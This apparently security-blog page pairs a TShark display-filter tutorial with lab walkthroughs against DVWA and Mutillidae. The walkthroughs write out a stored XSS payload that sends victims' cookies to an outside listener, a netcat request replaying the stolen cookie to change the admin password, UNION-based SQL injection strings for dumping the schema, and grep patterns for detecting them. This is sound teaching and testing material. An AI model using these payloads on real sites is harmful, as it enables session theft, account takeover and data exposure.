TShark : Finding data with "contains" and "matches" (Regular Expression)

Recently, I've been working with the SANS Institute on some Livestream sessions, promoting the SEC503: Intrusion Detection In Depth class. As a result, I produced some videos using TShark. In the first of those videos, we did an intro to TShark by focusing on reconnaissance at the IP layer. In the second session, we focused on reconnaissance at the transport layer and working with some common application protocols. In the 3rd session, we extracted suspicious and malicious content from PCAPS.

In a session prior to these, I focused on Full Packet Capturing with TShark for Continuous Monitoring & Threat Intel via IP, Domains, & URLS. While I did not do blog posts for those (and I wish I had thought about it before),  I've chosen to do a blog post for the TShark and working with regular expressions, 

Many times, when looking at packets or logs, I leverage "grep --perl-regexp". However, when looking at packets for patterns, sequence of bytes, etc., do we really need to leverage grep or another external tool? Let's see.

In session three in which I exported suspicious and malicious content, I used the following for example to identify the name of the malicious file:

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r attack-trace.pcap -V | grep ssms.exe
0030  63 68 6f 20 67 65 74 20 73 73 6d 73 2e 65 78 65   cho get ssms.exe
0070  26 73 73 6d 73 2e 65 78 65 0d 0a                  &ssms.exe..
0000  73 73 6d 73 2e 65 78 65 0d 0a                     ssms.exe..
0000  52 45 54 52 20 73 73 6d 73 2e 65 78 65 0d 0a      RETR ssms.exe..

... and the following example to identify bytes within the suspicious file.

┌──(root💀securitynik)-[~/tshark-series]
└─# xxd -groupsize 1 -u decode-as.pcap | grep '0A 25 25 45'
0192b620: 72 65 66 0A 32 38 34 30 32 38 32 34 0A 25 25 45  ref.28402824.%%E

Let's now see how TShark can help us out here. First let's leverage the "contains" display filter:

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'frame contains WWW.SecurityNik.com'

Oooops!! Looks like we are starting off on the wrong foot. No result was returned. Well the reason no result was returned, is because contains is case sensitive. Let's try this again.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'frame contains www.securitynik.com' -x | more                                        
0000  08 00 00 00 00 00 00 02 00 01 04 06 08 00 27 0e   ..............'.
0010  34 8d 00 00 45 00 00 ae 95 8e 40 00 40 06 e9 5e   4...E.....@.@..^
0020  0a 00 02 0f 8e fb 20 53 e1 cc 00 50 14 d2 bd 46   ...... S...P...F
0030  00 00 fa 02 50 18 fa f0 bb fd 00 00 47 45 54 20   ....P.......GET 
0040  2f 32 30 31 38 2f 30 37 2f 68 6f 73 74 2d 62 61   /2018/07/host-ba
0050  73 65 64 2d 74 68 72 65 61 74 2d 68 75 6e 74 69   sed-threat-hunti
0060  6e 67 2d 77 69 74 68 2e 68 74 6d 6c 20 48 54 54   ng-with.html HTT
0070  50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 77 77 77   P/1.1..Host: www
0080  2e 73 65 63 75 72 69 74 79 6e 69 6b 2e 63 6f 6d   .securitynik.com
0090  0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 53 65   ..User-Agent: Se
00a0  63 75 72 69 74 79 4e 69 6b 20 54 65 73 74 69 6e   curityNik Testin
00b0  67 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a   g..Accept: */*..
00c0  0d 0a                                             ..

Much better! Important take away, is that contains is case sensitive. 

In the previous example, we looked at contents from the frame level. Let's move up to the IP layer.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'ip contains sans.org' -x | more                                                      
0000  08 00 00 00 00 00 00 02 00 01 04 06 08 00 27 0e   ..............'.
0010  34 8d a8 d6 45 00 00 7c 54 40 40 00 40 06 8d cf   4...E..|T@@.@...
0020  0a 00 02 0f 2d 3c 1f 22 a3 0a 00 50 68 1a f9 d1   ....-<."...Ph...
0030  00 0b b8 02 50 18 fa f0 58 db 00 00 47 45 54 20   ....P...X...GET 
0040  2f 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74   / HTTP/1.1..Host
0050  3a 20 77 77 77 2e 73 61 6e 73 2e 6f 72 67 0d 0a   : www.sans.org..
0060  55 73 65 72 2d 41 67 65 6e 74 3a 20 53 65 63 75   User-Agent: Secu
0070  72 69 74 79 4e 69 6b 20 54 65 73 74 69 6e 67 0d   rityNik Testing.
0080  0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 0d 0a   .Accept: */*....

Making progress! Similarly, I look at the TCP layer

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'tcp contains siriuscom.com' -x | more                                                
0000  08 00 00 00 00 00 00 02 00 01 04 06 08 00 27 0e   ..............'.
0010  34 8d e6 73 45 00 00 81 e1 00 40 00 40 06 ca c4   4..sE.....@.@...
0020  0a 00 02 0f d1 3b b1 67 c5 ba 00 50 af 30 ea 13   .....;.g...P.0..
0030  00 08 ca 02 50 18 fa f0 8f 25 00 00 47 45 54 20   ....P....%..GET 
0040  2f 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74   / HTTP/1.1..Host
0050  3a 20 77 77 77 2e 73 69 72 69 75 73 63 6f 6d 2e   : www.siriuscom.
0060  63 6f 6d 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a   com..User-Agent:
0070  20 53 65 63 75 72 69 74 79 4e 69 6b 20 54 65 73    SecurityNik Tes
0080  74 69 6e 67 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   ting..Accept: */
0090  2a 0d 0a 0d 0a                                    *....

And finally, let's look at the application layer.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'http.host contains "www.siriuscom.com"' -x | more
0000  08 00 00 00 00 00 00 02 00 01 04 06 08 00 27 0e   ..............'.
0010  34 8d e6 73 45 00 00 81 e1 00 40 00 40 06 ca c4   4..sE.....@.@...
0020  0a 00 02 0f d1 3b b1 67 c5 ba 00 50 af 30 ea 13   .....;.g...P.0..
0030  00 08 ca 02 50 18 fa f0 8f 25 00 00 47 45 54 20   ....P....%..GET 
0040  2f 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74   / HTTP/1.1..Host
0050  3a 20 77 77 77 2e 73 69 72 69 75 73 63 6f 6d 2e   : www.siriuscom.
0060  63 6f 6d 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a   com..User-Agent:
0070  20 53 65 63 75 72 69 74 79 4e 69 6b 20 54 65 73    SecurityNik Tes
0080  74 69 6e 67 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   ting..Accept: */
0090  2a 0d 0a 0d 0a                                    *....

Contains is a really a hex filter. If there is no colon after the first byte, the input is considered as ASCII.

Let's see some different ways we can detect "sans".

A similar (not the same) display filter may look like: 'dns.qry.name == "www.sans.org"'. Do note, I say similar because the first one is not fully www.sans.org but just the string sans.

First up, using hex escaped characters.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'dns.qry.name contains "\x73\x61\x6e\x73"' -x | more
0000  08 00 00 00 00 00 00 02 00 01 04 06 08 00 27 0e   ..............'.
0010  34 8d 00 00 45 00 00 3a e9 8a 40 00 40 11 05 0c   4...E..:..@.@...
0020  0a 00 02 0f 40 47 ff c6 e1 93 00 35 00 26 4c 54   ....@G.....5.&LT
0030  da 6f 01 00 00 01 00 00 00 00 00 00 03 77 77 77   .o...........www
0040  04 73 61 6e 73 03 6f 72 67 00 00 01 00 01         .sans.org.....

Next up, using a combination of ASCII and hex escaped characters.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'dns.qry.name contains "www.\x73\x61\x6e\x73.org"' -x | more
0000  08 00 00 00 00 00 00 02 00 01 04 06 08 00 27 0e   ..............'.
0010  34 8d 00 00 45 00 00 3a e9 8a 40 00 40 11 05 0c   4...E..:..@.@...
0020  0a 00 02 0f 40 47 ff c6 e1 93 00 35 00 26 4c 54   ....@G.....5.&LT
0030  da 6f 01 00 00 01 00 00 00 00 00 00 03 77 77 77   .o...........www
0040  04 73 61 6e 73 03 6f 72 67 00 00 01 00 01         .sans.org.....

Finally, looking at the bytes separated by colons

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'dns.qry.name contains 73:61:6e:73' -x | more                                         
0000  08 00 00 00 00 00 00 02 00 01 04 06 08 00 27 0e   ..............'.
0010  34 8d 00 00 45 00 00 3a e9 8a 40 00 40 11 05 0c   4...E..:..@.@...
0020  0a 00 02 0f 40 47 ff c6 e1 93 00 35 00 26 4c 54   ....@G.....5.&LT
0030  da 6f 01 00 00 01 00 00 00 00 00 00 03 77 77 77   .o...........www
0040  04 73 61 6e 73 03 6f 72 67 00 00 01 00 01         .sans.org.....

Let's now look at regular expression using matches;

When using matches, the filter expression is processed twice. Once by the Wireshark display filter engine and the second by PCRE library

Because of above, you are better of using \\. rather than \. when using matches for the dot/period.

While contains is good for finding a particular string, what about if you want to find a particular pattern. This is where matches is helpful. To see the power of matches, let's look at it first through the lens of "contains".

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y '(http.request.method contains GET) || (http.request.method contains POST)' | more 
   13   5.134106    10.0.2.15 → 142.251.32.83 HTTP 194 GET /2018/07/host-based-threat-hunting-with.html HTTP/1.1 
  344  47.459625    10.0.2.15 → 142.251.41.83 HTTP 194 GET /2018/07/understanding-ip-fragmentation.html HTTP/1.1 
  634  64.722770    10.0.2.15 → 209.59.177.103 HTTP 149 GET / HTTP/1.1 
  722  84.262193    10.0.2.15 → 45.60.31.34  HTTP 144 GET / HTTP/1.1 
  809 163.016781    10.0.2.15 → 45.60.31.34  HTTP 145 POST / HTTP/1.1 
  861 174.261670    10.0.2.15 → 209.59.177.103 HTTP 150 POST / HTTP/1.1 
  917 186.636330    10.0.2.15 → 142.251.33.179 HTTP 195 POST /2018/07/understanding-ip-fragmentation.html HTTP/1.1 
  933 200.366293    10.0.2.15 → 172.217.165.19 HTTP 195 POST /2018/07/host-based-threat-hunting-with.html HTTP/1.1 

As can be seen above, contains was able to help us find the match. However, it took a little bit more bytes. A little bit more typing. Let's see what matches.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'http.request.method matches "(GET|POST)"' | more
   13   5.134106    10.0.2.15 → 142.251.32.83 HTTP 194 GET /2018/07/host-based-threat-hunting-with.html HTTP/1.1 
  344  47.459625    10.0.2.15 → 142.251.41.83 HTTP 194 GET /2018/07/understanding-ip-fragmentation.html HTTP/1.1 
  634  64.722770    10.0.2.15 → 209.59.177.103 HTTP 149 GET / HTTP/1.1 
  722  84.262193    10.0.2.15 → 45.60.31.34  HTTP 144 GET / HTTP/1.1 
  809 163.016781    10.0.2.15 → 45.60.31.34  HTTP 145 POST / HTTP/1.1 
  861 174.261670    10.0.2.15 → 209.59.177.103 HTTP 150 POST / HTTP/1.1 
  917 186.636330    10.0.2.15 → 142.251.33.179 HTTP 195 POST /2018/07/understanding-ip-fragmentation.html HTTP/1.1 
  933 200.366293    10.0.2.15 → 172.217.165.19 HTTP 195 POST /2018/07/host-based-threat-hunting-with.html HTTP/1.1 

As can been seen above, matches have allowed us to simplify the process using regular expression. Above, we simply looked for GET or POST. That was easy!

If you remember from above, contains is case sensitive. Matches, is however case insensitive.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'http.request.method matches "(get|post)"'
   13   5.134106    10.0.2.15 → 142.251.32.83 HTTP 194 GET /2018/07/host-based-threat-hunting-with.html HTTP/1.1 
  344  47.459625    10.0.2.15 → 142.251.41.83 HTTP 194 GET /2018/07/understanding-ip-fragmentation.html HTTP/1.1 
  634  64.722770    10.0.2.15 → 209.59.177.103 HTTP 149 GET / HTTP/1.1 
  722  84.262193    10.0.2.15 → 45.60.31.34  HTTP 144 GET / HTTP/1.1 
  809 163.016781    10.0.2.15 → 45.60.31.34  HTTP 145 POST / HTTP/1.1 
  861 174.261670    10.0.2.15 → 209.59.177.103 HTTP 150 POST / HTTP/1.1 
  917 186.636330    10.0.2.15 → 142.251.33.179 HTTP 195 POST /2018/07/understanding-ip-fragmentation.html HTTP/1.1 
  933 200.366293    10.0.2.15 → 172.217.165.19 HTTP 195 POST /2018/07/host-based-threat-hunting-with.html HTTP/1.1 

As seen above, even those get and post are in lowercase, we still got results returned. This is unlike what was experienced with contains.

If we wanted to enforce the case sensitivity, we can use (?-i). We know from the previous command that both GET and POST methods are in this PCAP and in uppercase. Let's look for uppercase GET and lowercase POST. Remember we are showing how to handle case sensitivity not insensitivity.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'http.request.method matches "(?-i)(GET|post)"'
   13   5.134106    10.0.2.15 → 142.251.32.83 HTTP 194 GET /2018/07/host-based-threat-hunting-with.html HTTP/1.1 
  344  47.459625    10.0.2.15 → 142.251.41.83 HTTP 194 GET /2018/07/understanding-ip-fragmentation.html HTTP/1.1 
  634  64.722770    10.0.2.15 → 209.59.177.103 HTTP 149 GET / HTTP/1.1 
  722  84.262193    10.0.2.15 → 45.60.31.34  HTTP 144 GET / HTTP/1.1 

From the results returned, we can see only GET and not post. This is because we enforced case sensitivity as in we asked for GET in uppercase and POST in lowercase

Let's now see if there is any other method other than GET or POST.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'http.request.method matches "[^(get|post)]"'

No results were returned. This suggests there are no other HTTP methods in the file. Let's confirm that our command is working as expected and that this is not a false negative situation. To confirm this actually works, let's remove the "post". If it works, we should see post as we are negating the get.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'http.request.method matches "[^(get)]"'
  809 163.016781    10.0.2.15 → 45.60.31.34  HTTP 145 POST / HTTP/1.1 
  861 174.261670    10.0.2.15 → 209.59.177.103 HTTP 150 POST / HTTP/1.1 
  917 186.636330    10.0.2.15 → 142.251.33.179 HTTP 195 POST /2018/07/understanding-ip-fragmentation.html HTTP/1.1 
  933 200.366293    10.0.2.15 → 172.217.165.19 HTTP 195 POST /2018/07/host-based-threat-hunting-with.html HTTP/1.1 

Good stuff! We have results so we know our filter is correct. Sometimes, you need to find other ways to validate your command works.

There might be times when you know the first or first few and probably the last or last few letters. Matches can help here too! Let's say we are aware of a DNS request or response starting and ending with "s", has 2 characters in the middle but you not sure what those characters are. We can use the following:

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'dns matches "s..s"'
  715  84.199441    10.0.2.15 → 64.71.255.198 DNS 78 Standard query 0xda6f A www.sans.org
  716  84.199465    10.0.2.15 → 64.71.255.198 DNS 78 Standard query 0x686d AAAA www.sans.org
  717  84.222652 64.71.255.198 → 10.0.2.15    DNS 165 Standard query response 0x686d AAAA www.sans.org SOA ns-1746.awsdns-26.co.uk

What about those times when it has x or more characters in the middle? Below it has 5 or more characters

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'dns matches "sec.{5,}com"'                                                           
    3   0.000235    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x4872 A www.securitynik.com
    4   0.000241    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x0d7d AAAA www.securitynik.com
    5   0.150729 64.71.255.198 → 10.0.2.15    DNS 166 Standard query response 0x4872 A www.securitynik.com CNAME www.securitynik.com.ghs.googlehosted.com CNAME ghs.googlehosted.com A 172.217.165.19

Similarly, we can say we would only like to see results where there is a minimum of 1 or a maximum of 3 characters after the s:

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'dns matches "s.{1,3}\.org"'
  715  84.199441    10.0.2.15 → 64.71.255.198 DNS 78 Standard query 0xda6f A www.sans.org
  716  84.199465    10.0.2.15 → 64.71.255.198 DNS 78 Standard query 0x686d AAAA www.sans.org
  717  84.222652 64.71.255.198 → 10.0.2.15    DNS 165 Standard query response 0x686d AAAA www.sans.org SOA ns-1746.awsdns-26.co.uk

Let's say, we have a PCAP file with the following IP addresses:

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap  -T fields -e ip.src | sort | uniq
10.0.2.15
10.0.2.2
142.251.32.83
142.251.33.179
142.251.41.83
172.217.1.19
172.217.165.19
209.59.177.103
45.60.31.34
64.71.255.198

What we need to do now, is to extract the IPs where octet 1 starts with 142. Octet 2 only contains the number 1, 2 or 5 and up to 3 numbers. Octet 3 can only be 32 or 33. Octet 4 can only have be 3 numbers anywhere between 0 and 9.

Let's say we to look for source IPs that match a particular pattern. In this case let's just say 142.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'ip.src matches "142"' | more
tshark: ip.src (type=IPv4 address) cannot participate in 'matches' comparison.

Ooops! Looks like we got an error about type mismatch. Let's convert this IPv4 address type field to a string and build out our filter at the same time. Our filter will look for a source IP address which starts with 142 in the first octet. The second octet should only consist of the number 1, 2 or 5. The third octet has to be either the number 32 or 33 and the final octet can be any 3 digit number between 0 and 9.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'string(ip.src) matches "^142\\.[1,2,5]{1,3}\\.(32|33)\\.[0-9]{3}"' -T fields -e ip.src | sort | uniq
142.251.33.179

A little bit more detail of the same filter.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'string(ip.src) matches "^142\\.[1,2,5]{1,3}\\.(32|33)\\.[0-9]{3}"'
  915 186.636198 142.251.33.179 → 10.0.2.15    TCP 66 80 → 37398 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460
  918 186.636629 142.251.33.179 → 10.0.2.15    TCP 66 80 → 37398 [ACK] Seq=1 Ack=136 Win=65535 Len=0
  919 186.651759 142.251.33.179 → 10.0.2.15    TCP 1490 HTTP/1.0 411 Length Required  [TCP segment of a reassembled PDU]
  921 186.653506 142.251.33.179 → 10.0.2.15    HTTP 355 HTTP/1.0 411 Length Required  (text/html)
  922 186.653509 142.251.33.179 → 10.0.2.15    TCP 66 80 → 37398 [FIN, ACK] Seq=1726 Ack=136 Win=65535 Len=0
  925 186.653877 142.251.33.179 → 10.0.2.15    TCP 66 80 → 37398 [ACK] Seq=1727 Ack=137 Win=65535 Len=0

Similarly, let's look for destinations:

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap  -T fields -e ip.dst | sort | uniq
10.0.0.100
10.0.2.15
142.251.32.83
142.251.33.179
142.251.41.83
172.217.1.19
172.217.165.19
209.59.177.103
45.60.31.34
64.71.255.198

Let's now extract the destinations where we have the first octet starts with 2 numbers between 0 and 9. The second octet is exactly 0. The third octet can only have 1 number and it can only be 0 or 2. Octet 4, ends with either 100 or 15. 

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'string(ip.dst) matches "^[0-9]{2}\\.0\\.[0,2]{1}\\.(100|15)$"' -T fields -e ip.dst | sort | uniq
10.0.0.100
10.0.2.15

Let's now wrap this up by grabbing some frames numbers. First up, the first frame:

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'string(frame.number) matches "^1$"'
    1   0.000000 08:00:27:0e:34:8d →              ARP 48 Who has 10.0.2.2? Tell 10.0.2.15

Next, frames 1 to 9.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y 'string(frame.number) matches "^[0-9]$"'
    1   0.000000 08:00:27:0e:34:8d →              ARP 48 Who has 10.0.2.2? Tell 10.0.2.15
    2   0.000154 52:54:00:12:35:02 →              ARP 66 10.0.2.2 is at 52:54:00:12:35:02
    3   0.000235    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x4872 A www.securitynik.com
    4   0.000241    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x0d7d AAAA www.securitynik.com
    5   0.150729 64.71.255.198 → 10.0.2.15    DNS 166 Standard query response 0x4872 A www.securitynik.com CNAME www.securitynik.com.ghs.googlehosted.com CNAME ghs.googlehosted.com A 172.217.165.19
    6   5.004124    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x4872 A www.securitynik.com
    7   5.106980 64.71.255.198 → 10.0.2.15    DNS 166 Standard query response 0x4872 A www.securitynik.com CNAME www.securitynik.com.ghs.googlehosted.com CNAME ghs.googlehosted.com A 142.251.32.83
    8   5.107044    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x0d7d AAAA www.securitynik.com
    9   5.119889 64.71.255.198 → 10.0.2.15    DNS 178 Standard query response 0x0d7d AAAA www.securitynik.com CNAME www.securitynik.com.ghs.googlehosted.com CNAME ghs.googlehosted.com AAAA 2607:f8b0:400b:807::2013

Ok! I one more. We Took advantage of various fields by their names. Let's instead close this off my look at combination of offset and field.

┌──(root💀securitynik)-[~/tshark-series]
└─# tshark -n -r securitynik_regex.pcap -Y '(udp[25:] matches "s.{10,20}\.com") && (string(ip.src) matches "^[0-9]{2}\\.0\\.[0,2]{1}\\.(15)$")' | more
    3   0.000235    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x4872 A www.securitynik.com
    4   0.000241    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x0d7d AAAA www.securitynik.com
    6   5.004124    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x4872 A www.securitynik.com
    8   5.107044    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x0d7d AAAA www.securitynik.com
   17   5.282030    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x3e8d A www.securitynik.com
   18   5.282048    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x6688 AAAA www.securitynik.com
  337  47.326990    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x7c44 A www.securitynik.com
  338  47.327019    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x8443 AAAA www.securitynik.com
  348  47.549609    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x5543 A www.securitynik.com
  349  47.549690    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x677e AAAA www.securitynik.com
  910 186.517304    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x49f7 A www.securitynik.com
  911 186.517330    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x9bf2 AAAA www.securitynik.com
  926 200.282904    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x2bdf A www.securitynik.com
  927 200.282930    10.0.2.15 → 64.71.255.198 DNS 85 Standard query 0x1cd0 AAAA www.securitynik.com

Ok! Well that's it for finding data using TShark's contain and matches. Obviously, we don't have to use additional tools such as grep to find data within packets. However, you may still find grep helpful in many other cases.

References:
securitynik_regex.pcap - PCAP used above 

https://sharkfestus.wireshark.org/assets/presentations16/16.pdf
https://www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html
https://www.cellstream.com/reference-reading/tipsandtricks/431-finding-text-strings-in-wireshark-captures
https://www.cellstream.com/resources/2013-09-10-11-55-21/cellstream-public-documents/wireshark-related/83-wireshark-display-filter-cheat-sheet/file
https://www.securityinbits.com/malware-analysis/tools/wireshark-filters/
https://blog.packet-foo.com/2013/05/the-notorious-wireshark-out-of-memory-problem/
https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_GRegex.html
https://luca.ntop.org/gr2021/altre_slides/CorsoWireshark.pdf
https://stackoverflow.com/questions/9655164/regex-ignore-case-sensitivity
https://www.hscripts.com/tutorials/regular-expression/metacharacter-list.php

Beginning Web Application: Testing Session Hijacking - DVWA

This post we look to take advantage of the trust a website has with a user's browser. An attacker may be able to leverage social engineering techniques to trick a user of an application into executing actions of the attacker choosing. If the user has admin level privileges, this vulnerability may result in a compromise of the entire web application.

In this post, we will complete a stored XSS attack against DVWA application to obtain "admin" cookie when visits are made to this page and then use that cookie to change the "admin" account of Dam Vulnerable Web App (DVWA) from another device. With stored XSS, whenever a user visit the page in question, the malicious code would be executed and the user's cookie would be sent to the remote server listening for the connections.

Once again, in this post we will leverage “netcat” to receive the cookie.

First up, let's embed the following code “<script>window.location="http://10.0.0.101/stealcookie.txt?"+document.cookie</script>” in the web page of the DVWA Guestbook.



Whenever a user visit the guestbook, the page loads and he or she sees ...


... and as can be seen above, nothing looks suspicious.

However, at the remote end the attacker sees ...


As show above, the attacker now has information which is helpful such as the site which sent the information along with the cookie, etc.

Now let's assume, the attacker knows how this app works and thus wants to change the "admin" account so that he or she can login. As a result, the attacker does the following.

1. Connect to the remote site using netcat (nc)
2. Crafts a “HTTP GET” request for "/dvwa/vulnerabilities/csrf/?password_new=SecurityNik&password_conf=SecurityNik&Change=Change", changing the password to "SecurityNik" so that he or she can login to the site directly.

3. Set the Host header as: "10.0.0.103"
4. Set the cookie header as "security=low; PHPSESSID=7rl0ua40n463bt6kh1r51j72h7"

Once we send along our request as crafted below ...


... we see the server responds with a "200 OK".


... and as we look into the returned text, we see ...


Look like we have managed to change the “admin” password. I’m sure there is more we can do now that we have credentials.

At this point if the application did not logout the user and ask to reauthenticate with the new credentials and if it supports multiple sessions, we can then authenticate with the new credentials and do whatever we want as that user - in this case admin. Obviously, all our activities at this point would be tied back to the malicious user's IP. However, that is not the focus of this post. The objective is to show how we can steal the cookie and reuse it.

Let's now try to use the new credentials


Once "Login" is clicked we see ...


Voila! Looks like this worked well.

What Works in remediating this vulnerability?


Reference:
OWASP Session Hijacking
Wikipedia Session Hijacking

Beginning Web Application Testing: Detecting SQL Injection - Mutillidae

SQL Injection like most attacks can be detected via logs, packets or once again from the user’s browser cache as well as other sources.

Once again, let’s get down to detecting this.

Since we already know that this attack is leveraging the “username” parameter, let’s target our detection on this parameter so as to make best use of our time.

“cat --number sqlInjection.log | grep "\&username\=.*?" --colour=always --only-matching | cut --fields 2 --delimiter "=" | cut --fields 1 --delimiter "&" | sort | uniq -c | sort --numeric --reverse | more”


While the above shows shows the SQL injections, it does not really say whether these were successful. This is due primarily for the fact that these events are stored in Apache’s “access.log” and uses the HTTP “GET” method. Considering we enabled Apache’s “mod_dumpio” in the post on Command Injection , we can now leverage Apache’s “error.log” to validate whether these were successful or not.

Let’s use the following one liner “cat --number sqlInjectionError.log | grep --perl-regexp "admin\'.*?\s+\-\-|\;\.[0-9]*\s+.*?\.|or\s+1\=1\s+\-\-|\s+ReflectedXSSExecutionPoint\=\"1\"\>.*?\<" --colour=always | more” against our logs to identify whether or not any data was returned.Basically this will be used for the entire analysis.


The above shows that the SQL “’ or 1=1 – ” was successful. In this case 24 records were returned and we can see a snapshot of some of these above.

The image below shows the query and results for the current database version.


The image below shows a snapshot of the dump of all the tables and columns.


The following table shows the result returned showing the “current_user” of the database.


The following shows the “database” which the application is accessing.


And last but not least before we wrap this up, a look at the results from the attempt to access “CorpSecrets.txt”



That’s it for detecting SQL injection. See you in the next post for Session Hijacking.

Beginning Web Application Testing: SQL Injection - Mutillidae

In this post, we will take a look at SQL injection and will use Mutillidae (NOWASP) for our learnings. SQL injection attacks are typically created as a resulted of dynamic database queries that include user supplied input.

Specifically, we will use  "Mutillidae -> OWASP 2013 -> A1 - Injection (SQL) -> SQLi - Extract Data -> User Info (SQL)”.


First on our agenda is to test the page to see if the possibility exists for an SQL injection. To do this, let's use the "tic" (') character to see what we can learn.


Hmmm! From the 'tic' we were able to learn a reasonable amount of information about the database which supports this application. What are some of the things we have learned? Let's take 2 things.

1. "File" - We can see the entire path of the file which is handling this error. From looking at it there is additional information which can be inferred, such as this is more than likely a Microsoft Windows device on which the server is running.

2. From the "Message" we can see that this is a “MySQL” database. Why is this important? The database in the backend will determine the type of interaction we can have with it via the application.

Let's expand on our "' with "' or 1=1 -- " (note the space after the 2 hyphens. This is needed for MySQL comments)


Whoopsy!! Looks like we dumped the entire table above.

Looks like we are making progress! Let's see what else we can do. How about we try to determine the database version? For this let's try to leverage "admin" account to reduce the number of rows which will be returned. So our query will now look like "admin' -- " (do remember there is a space after the hyphens)

Trying to get the database version, let's try "admin' UNION SELECT @@version -- "


Bummer!! So we got an error above stating "error: The used SELECT statements have a different number of columns". Ahh man, so now we need to ensure the number of columns are balanced. Let's try to learn the number of columns in this table. Let's use "admin' UNION SELECT NULL -- "

When we run the above we got the same error again about the number of columns. So let's build on this to find out the correct number of "NULL"s we need to use here.

Next try ...
"admin' UNION SELECT NULL -- "
... and then
"admin' UNION SELECT NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL -- "
... and then Finally
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL -- "


From above, we see that rather than the error, we now have columns reported as 2.

Now that we have our number of columns, let's try to get the database version ... again ...

We use "admin' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL -- "

Bummer!! Nothing was returned, we got the same screen as the one with 2 success.

Let's look at each columns to determine which ones will accept our strings or at least which ones produces the "username", "password" and "signature". To figure this out, let's put some strings in each null field.

"admin' UNION SELECT 'Column-1','Column-2','Column-3','Column-4','Column-5','Column-6','Column-7' -- "


From above we see that Columns 2, 3 and 4 are the ones which we can use with our strings. Let's revisit that attempt to get the database version. We will also replace the "Column-X" with NULLs

"admin' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL --  "


Good progress so far. We have now managed to obtain the database version.

Let's continue! How about we dump the database schema. so we can see a list of tables with their associated names, etc.

"admin' UNION SELECT NULL,table_name,column_name,NULL,NULL,NULL,NULL FROM information_schema.columns -- "


